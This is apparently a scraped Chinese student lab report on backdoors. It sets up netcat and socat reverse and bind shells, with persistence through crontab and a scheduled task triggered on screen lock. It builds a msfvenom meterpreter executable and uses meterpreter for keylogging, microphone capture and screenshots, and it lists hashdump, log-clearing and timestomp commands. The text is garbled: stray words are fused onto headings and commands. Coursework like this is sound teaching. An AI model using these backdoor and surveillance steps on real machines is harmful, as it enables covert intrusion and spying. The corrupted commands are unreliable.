20165310 NetSec Week4 Exp2 後門原理與實踐

20165310 NetSec Exp2後門原理與實踐

1、基礎問題

  • 例舉你能想到的一個後門進入到你係統中的可能方式?
    • 網頁木馬等訪問網頁致使
    • 下載非官方源軟件
    • 隨意下載郵件中不明程序等
  • 例舉你知道的後門如何啓動起來(win及linux)的方式?
    • 修改註冊表,使後門進行自啓動
    • 制定定時啓動
  • Meterpreter有哪些給你映像深入的功能?
    • msfconsole真是太好看了
    • 生成後門程序而且傳輸給目標電腦,鏈接控制
  • 如何發現本身有系統有沒有被安裝後門?
    • 查看進程,是否有異常進程
    • 查看註冊表是否被修改過
    • 查看日誌,是否有異常日誌
    • 殺毒軟件、防火牆

2、經常使用後門工具

一、natcathtml

  • 前期準備,得到主機iplinux

    • win:ipconfig

    0

    linux:ifconfigweb

    1

  • Win得到Linux Shell:利用反彈鏈接,此時win爲攻擊者,linux爲受害者shell

    • windows 打開監聽ncat.exe -l -p 5310vim

      2

    • Linux反彈鏈接winnc 192.168.154.149 5310 -e /bin/shwindows

      4

    • windows下得到一個linux shell,可運行任何指令,如lsapi

      3

  • linux 獲取 win的shell:利用反彈鏈接,此時linux爲攻擊者,win爲受害者網絡

    • kali下監聽端口ncat.exe -l 5310session

      5

    • win10反彈鏈接kali ncat.exe -e cmd.exe 192.168.154.146 5310tcp

      6

    • linux下得到一個windows shell,可運行任何指令,如ls

      8

  • nc傳數據

    • Win下監聽5310端口ncat.exe -l 5310,linux鏈接winnc 192.168.154.149 5310,隨後在Linux輸入須要傳輸的字符

      9

    • 能夠發現windows接收到了相同的數據

  • nc傳輸文件

    • 以後傳輸後門軟件能夠體現,沒有進行單獨的實驗

3、實驗內容

任務一:使用netcat獲取主機操做Shell,cron啓動

  • Windows啓用監聽ncat.exe -l 5310

  • 在Kali環境下用crontab -e指令編輯一條定時任務,初次使用須要選擇編輯器,這裏咱們選擇3,具體區別能夠參考博客我的使用vim的一點心得

  • 在最後一行添加18 * * * * /bin/netcat 192.168.154.149 5310 -e /bin/sh,意思是在每一個小時的第18分鐘反向鏈接Windows主機的5310端口,具體crontab的用法能夠參考博客crontab 詳細用法 定時任務

  • 定時任務設定成功

  • 時間到後,windows得到shell

任務二:使用socat獲取主機操做Shell, 任務計劃啓動

  • 在Windows7系統下,打開計算機管理->任務計劃程序->建立任務,填寫任務名稱後NetSec_Exp2_5310

  • 新建觸發器,工做站鎖定時開始任務(模擬用戶不在電腦前),選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5310 exec:cmd.exe,pty,stderr,這個命令的做用是把cmd.exe綁定到端口5310,同時把cmd.exestderr重定向到stdout

  • 建立完成以後,按Win+L快捷鍵鎖定計算機,解除鎖屏後,能夠發現以前建立的任務已經開始運行

  • kali下輸入指令socat - tcp:192.168.154.149:5310成功得到shell

任務三:使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

  • 利用MSF生成惡意後門msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.146 LPORT=5310 -f exe > 5310_backdoor.exe,這裏的IP地址爲攻擊者IP,即kali本機IP

    1-

    參數說明:

    -p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。
    -e 使用的編碼器,用於對shellcode變形,爲了免殺。
    -i 編碼器的迭代次數。如上即便用該編碼器編碼5次。
    -b badchar是payload中須要去除的字符。
    LHOST 是反彈回連的IP
    LPORT 是回連的端口
    -f 生成文件的類型
    > 輸出到哪一個文件
  • kali下執行,在Windows下執行ncat.exe -lv 5310 > 5310_backdoor.exe指令,經過-lv選項看到當前的鏈接狀態,在Linux中執行nc 192.168.154.149 5310 < 5310_backdoor.exe,這裏的IP爲被控主機IP,即Win7 IP,能夠看見文件傳輸成功(文件大小爲73k與生成大小匹配,截圖中未能截到,能夠經過這個判斷是否傳輸完畢)

  • 在Kali上使用msfconsole指令進入msf控制檯

  • 開始輸入指令進行設置

    • 輸入use exploit/multi/handler使用監聽模塊,設置payload

    • set payload windows/meterpreter/reverse_tcp,使用和生成後門程序時相同的payload

    • set LHOST 192.168.154.146,這裏是Kalid IP,即本機IP,和生成後門程序時指定的IP相同

    • set LPORT 5310,一樣要使用相同的端口

    • 能夠用命令show options確認設置是否正確

  • 輸入攻擊指令exploit進行攻擊,得到shell

任務四:使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

  • record_mic截獲音頻,能夠用-d選項設置錄製時間,默認2s

  • keyscan_start指令開始記錄擊鍵,keyscan_dump指令讀取擊鍵的記錄,在Windows中輸入命名爲key的TXT文件,內容爲 Hello World

  • screenshot進行屏幕截屏

  • 還有多條指令,可參照下方參數列表,或者本身用help指令更全面:

    meterpreter > help
    Core Commands第一部分是核心指令
    =============
    
        Command                   Description
        -------                   -----------
        ?                         Help menu
        background                Backgrounds the current session
        bgkill                    Kills a background meterpreter script
        bglist                    Lists running background scripts
        bgrun                     Executes a meterpreter script as a background thread
        channel                   Displays information or control active channels
        close                     Closes a channel
        disable_unicode_encoding  Disables encoding of unicode strings
        enable_unicode_encoding   Enables encoding of unicode strings
        exit                      Terminate the meterpreter session
        get_timeouts              Get the current session timeout values
        help                      Help menu
        info                      Displays information about a Post module
        irb                       Drop into irb scripting mode
        load                      Load one or more meterpreter extensions
        machine_id                Get the MSF ID of the machine attached to the session
        migrate                   Migrate the server to another process
        quit                      Terminate the meterpreter session
        read                      Reads data from a channel
        resource                  Run the commands stored in a file
        run                       Executes a meterpreter script or Post module
        set_timeouts              Set the current session timeout values
        sleep                     Force Meterpreter to go quiet, then re-establish session.
        transport                 Change the current transport mechanism
        use                       Deprecated alias for 'load'
        uuid                      Get the UUID for the current session
        write                     Writes data to a channel
    
    
    Stdapi: File system Commands第二部分是文件系統相關的
    ============================
    
        Command       Description
        -------       -----------
        cat           Read the contents of a file to the screen
        cd            Change directory
        dir           List files (alias for ls)
        download      Download a file or directory
        edit          Edit a file
        getlwd        Print local working directory
        getwd         Print working directory
        lcd           Change local working directory
        lpwd          Print local working directory
        ls            List files
        mkdir         Make directory
        mv            Move source to destination
        pwd           Print working directory
        rm            Delete the specified file
        rmdir         Remove directory
        search        Search for files
        show_mount    List all mount points/logical drives
        upload        Upload a file or directory
    
    
    Stdapi: Networking Commands固然少不了網絡操做的了
    ===========================
    
        Command       Description
        -------       -----------
        arp           Display the host ARP cache
        getproxy      Display the current proxy configuration
        ifconfig      Display interfaces
        ipconfig      Display interfaces
        netstat       Display the network connections
        portfwd       Forward a local port to a remote service
        resolve       Resolve a set of host names on the target
        route         View and modify the routing table
    
    
    Stdapi: System Commands系統指令
    =======================
    
        Command       Description
        -------       -----------
        clearev       Clear the event log
        drop_token    Relinquishes any active impersonation token.
        execute       Execute a command
        getenv        Get one or more environment variable values
        getpid        Get the current process identifier
        getprivs      Attempt to enable all privileges available to the current process
        getsid        Get the SID of the user that the server is running as
        getuid        Get the user that the server is running as
        kill          Terminate a process
        ps            List running processes
        reboot        Reboots the remote computer
        reg           Modify and interact with the remote registry
        rev2self      Calls RevertToSelf() on the remote machine
        shell         Drop into a system command shell
        shutdown      Shuts down the remote computer
        steal_token   Attempts to steal an impersonation token from the target process
        suspend       Suspends or resumes a list of processes
        sysinfo       Gets information about the remote system, such as OS
    
    
    Stdapi: User interface Commands用戶接口,能夠抓取擊鍵記錄
    ===============================
    
        Command        Description
        -------        -----------
        enumdesktops   List all accessible desktops and window stations
        getdesktop     Get the current meterpreter desktop
        idletime       Returns the number of seconds the remote user has been idle
        keyscan_dump   Dump the keystroke buffer
        keyscan_start  Start capturing keystrokes
        keyscan_stop   Stop capturing keystrokes
        screenshot     Grab a screenshot of the interactive desktop
        setdesktop     Change the meterpreters current desktop
        uictl          Control some of the user interface components
    
    
    Stdapi: Webcam Commands 
    =======================
    
        Command        Description
        -------        -----------
        record_mic     Record audio from the default microphone for X seconds
        webcam_chat    Start a video chat
        webcam_list    List webcams
        webcam_snap    Take a snapshot from the specified webcam
        webcam_stream  Play a video stream from the specified webcam
    
    
    Priv: Elevate Commands提權
    ======================
    
        Command       Description
        -------       -----------
        getsystem     Attempt to elevate your privilege to that of local system.
        ***個人win7沒成功***
    
    Priv: Password database Commands導出密碼文件SAM
    ================================
    
        Command       Description
        -------       -----------
        hashdump      Dumps the contents of the SAM database
    
    Priv: Timestomp Commands修改文件操做時間,清理現場用
    ========================
    
        Command       Description
        -------       -----------
        timestomp     Manipulate file MACE attributes
  • 有些指令須要打開虛擬機攝像頭鏈接,有些須要進行額外攻擊操做,例如win7提權失敗提示顯示須要進行UAC繞過

遇到問題與解決方法

  • socat命令輸錯

    • 緣由與解決方法:-tcp中間存在空格要注意
  • msf打開攝像頭失敗

    • 緣由與解決方法:個人win7虛擬機設置鏈接後依然沒法識別內置攝像頭,須要真機環境或外設
  • msf沒法鏈接

    • 緣由與解決方法:輸錯host,因爲複製緣由,生成的.exe文件與設置的host錯的很統一,遲遲找不出錯誤,改正便可

心得體會

  • 實驗過程當中犯了許多小錯誤,致使實驗時間大大延長,須要更加細心嚴謹
  • MSF要學習的內容還不少,要多加研究學習
相關文章
相關標籤/搜索